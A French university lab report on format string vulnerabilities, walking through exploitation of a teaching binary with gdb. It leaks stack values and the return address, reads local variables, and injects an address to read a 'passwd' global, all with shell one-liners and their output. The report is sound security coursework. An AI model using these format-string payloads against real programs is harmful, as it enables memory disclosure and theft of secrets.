**2022 – 2023**

université de BORDEAUX

# Compte rendu Sécurité Logicielle

## Format Strings Vulnerabilities

**Fait par :**
BENARAB Hanane

# 1- Format strings :

1- En premier temps, le programme **printf-1.c** permet d'écrire à l'adresse de la variable **value,** le nombre de caractères qu'il y'a dans la chaîne « %c %s 0x%08x %2$s \a » grâce à **%n**, ensuite il affiche la valeur de **value**.

**Fprintf (stdout, "%c %s 0x%08x %2$s \a %n\n", 'c', "AAAA", 9, &value)**

| Formatage | Représentation | Value |
|---|---|---|
| **%c** | correspond au premier argument après le format qui est le caractère : 'c' | 1 |
| **%s** | vaut '**AAAA**' | 5 |
| **0x%08x** | va permettre d'écrire 9 en Hexadécimale sur 8 chiffres et remplir avec des zéros le reste + deux caractères (0 et x) | 15 |
| **%2$s** | Prendre le 2 ème paramètre après le format, ce qui correspond a '**AAAA**' | 19 |
| **\a** | correspond au caractère d'échappement de la bell. | 20 |
| **%n** | Écrit en mémoire à l'adresse **&value** le nombre de caractères de tout ce qu'on a cité en dessus + 05 espaces. | 25 |

**Fprintf (stdout, "value = %d\n", value)** : affiche value = 25.

2- Dans cette seconde partie, nous allons s'intéresser au programme **vulnerable-1-32** En essayant d'y extraire des informations tel que les adresses, le contenu et même changer son comportement.

On utilisera en premier temps la version **NO-PIE,** qui va permettre de charger le code dans la même adresse à chaque exécution.

A première vue du programme **vulnerable-1-32**, on constate l'utilisation de la fonction **printf( ),** sans la spécification du formatage en **string** (**%s**), comme la chaîne parviendra par le biais d'un utilisateur, ceci rend le programme vulnérable, on exploitera ceci dans tout le reste du TP afin de compromettre ce dernier.

En exécutant ce programme à l'aide de gdb et en observant la pile tout en affichant ce que le programme renvoie avec différents input comme « **%p%p%p** » .
Par la suite, on regarde l'emplacement de ces derniers dans la pile.

```
0xffffccb4    arg2    0x00000080
0xffffccb0    arg1    0xffffcccc
0xffffccac    ret@    0x08049289
0xffffcca8      bp    0xffffcd58
0xffffcca4            0x0804c000
0xffffcca0            0xf7f49000
0xffffcc9c            0xeaba0b00
0xffffcc98            0xffffcd94
0xffffcc94            0xf7fe9690
0xffffcc90            0xffffcd58
0xffffcc8c            0xffffcccc
0xffffcc88            0xf7fcd0c0
0xffffcc84            0x0804c000
0xffffcc80            0x00000000
0xffffcc7c            0x0804919e
0xffffcc78            0x00000000
0xffffcc74            0xf7d76634
0xffffcc70            0xffffcccc
--Type <RET> for more, q to quit, c to continue
0xffffcc6c         sp 0x080491c0
(gdb) c
Continuing.
0xf7d76634 (nil) 0x804919e
```

On remarque que **0xffffcccc** correspond à l'adresse de la chaîne de caractère sachant que le premier %p affiche le pointeur juste après elle, qui correspond au premier argument après le format.

Comme notre objectif est d'obtenir l'adresse de retour du main, il suffit de compter depuis le format la position de l'adresse de retour dans la pile, on trouve 15.

Ainsi **%15$p** affichera cette dernière, ce que montre la figure suivante.

```
%15$p

Breakpoint 1, _
(gdb) c
Continuing.
0x8049289
```

```
(gdb) l * 0x8049289
0x8049289 is in main (vulnerable-1.c:22).
```

C'est bien l'adresse de retour dans le main, on peut vérifier cela également avec l *.

Avec la version **PIE**, cela fonctionnera également avec **%15$p**, en effet le chargement du code a une adresse aléatoire, n'influe pas sur les écarts de positions entre deux entité de ce dernier. Donc on obtiendra quand même l'adresse de retour du main.

3 - A présent, nous souhaitons afficher la valeur de la variable **var** qui se trouve dans le main du programme, en utilisant **bt** pour afficher l'emplacement de main dans la frame et **frame** pour accéder à la frame du main.

```
(gdb) bt
#0  __printf (format=0xffffcccc "\n") at printf.c:32
#1  0x080491c0 in foo (string=0xffffcccc "\n") at vulnerable-1.c:9
#2  0x08049289 in main () at vulnerable-1.c:22
(gdb) frame 2
#2  0x08049289 in main () at vulnerable-1.c:22
22          foo(buf);
(gdb) p &var
$1 = (volatile int *) 0xffffccc8
```

Après avoir récupéré l'adresse de var, on effectue une soustraction de l'adresse de l'adresse de la chaîne de caractère qui correspond au premier argument de printf () avec l'adresse de var :

```
0xffffcca8      bp    0xffffcd58
0xffffcca4            0x0804c000
0xffffcca0            0xf7f49000
0xffffcc9c            0xeaba0b00
0xffffcc98            0xffffcd94
0xffffcc94            0xf7fe9690
0xffffcc90            0xffffcd58
0xffffcc8c            0xffffcccc
0xffffcc88            0xf7fcd0c0
0xffffcc84            0x0804c000
0xffffcc80            0x00000000
0xffffcc7c            0x0804919e
0xffffcc78            0x00000000
0xffffcc74            0xf7d76634
0xffffcc70         sp 0xffffcccc
```

L'adresse cherchée est 0xffffcc70,
et ffffccc8 – ffffcc70 = 88 en décimal.

En divisant le résultat de la soustraction en décimal par 4, on parviendra a trouvé que pour afficher le contenu de var, il faut %22$x :

```
%22$x

Breakpoint 1, __pr
(gdb) c
Continuing.
abcd
```

On a bien réussi à afficher la valeur de var.

4 - nous voulons afficher le contenu du buffer. Pour se faire, il faut trouver la position du début du buffer, on procèdera ensuite comme précédemment,
trouvons d'abord l'adresse de buf dans le main :

```
(gdb) frame 2
#2  0x08049289 in main () at vulnerable-1.c:22
22          foo(buf);
(gdb) p &buf
$5 = (char (*)[128]) 0xffffcccc
```

En la Soustrayons à l'adresse de l'adresse de la chaîne de caractères, on obtient cette fois-ci 92, que l'on divise toujours par 4 et le résultat vaut 23.
Ainsi avec **%23$p**, cela affichera le début du buffer.

En effectuant , **echo -e '\x31\x32\x33\x34%23$p' | ./vulnerable-1-32**
on obtient : **1234 0x34333231**

En effet 31,32,33,34 correspond au code ASCII de 1234, que printf () affiche, et le **%23$p** affiche le premier élément du buffer sous forme de pointeur et c'est bien l'adresse que l'on a passé juste avant.

5- l'objectif de cette partie, est de pouvoir afficher le contenu de la variable **Passwd** qui se trouve le programme, on commence par trouver l'adresse de **Passwd :**

```
hbenarab@saruman:/autofs/unityaccount/cremi/hbenarab/secu/TD6$ objdump -D vulnerable-1-32 | grep passwd
0804c028 <passwd>:
```

on fabrique cette chaîne, et on vérifie avec%23$p si on obtient bien l'adresse de passwd :

```
hbenarab@saruman:/autofs/unityaccount/cremi/hbenarab/secu/TD6$ echo -e '\x28\xc0\x04\x08 %23$p' | ./vulnerable-1-32
( 0x804c028
```

On arrive bien à charger l'adresse de passwd dans le buf, ainsi si on remplace %23$p par%23$s, printf va aller lire dans buf, or on a mis l'adresse de passwd et on va donc lire la variable passwd :

```
hbenarab@saruman:/autofs/unityaccount/cremi/hbenarab/secu/TD6$ echo -e '\x28\xc0\x04\x08 %23$s' | ./vulnerable-1-32
( secret password
```

Effectivement cela fonctionne.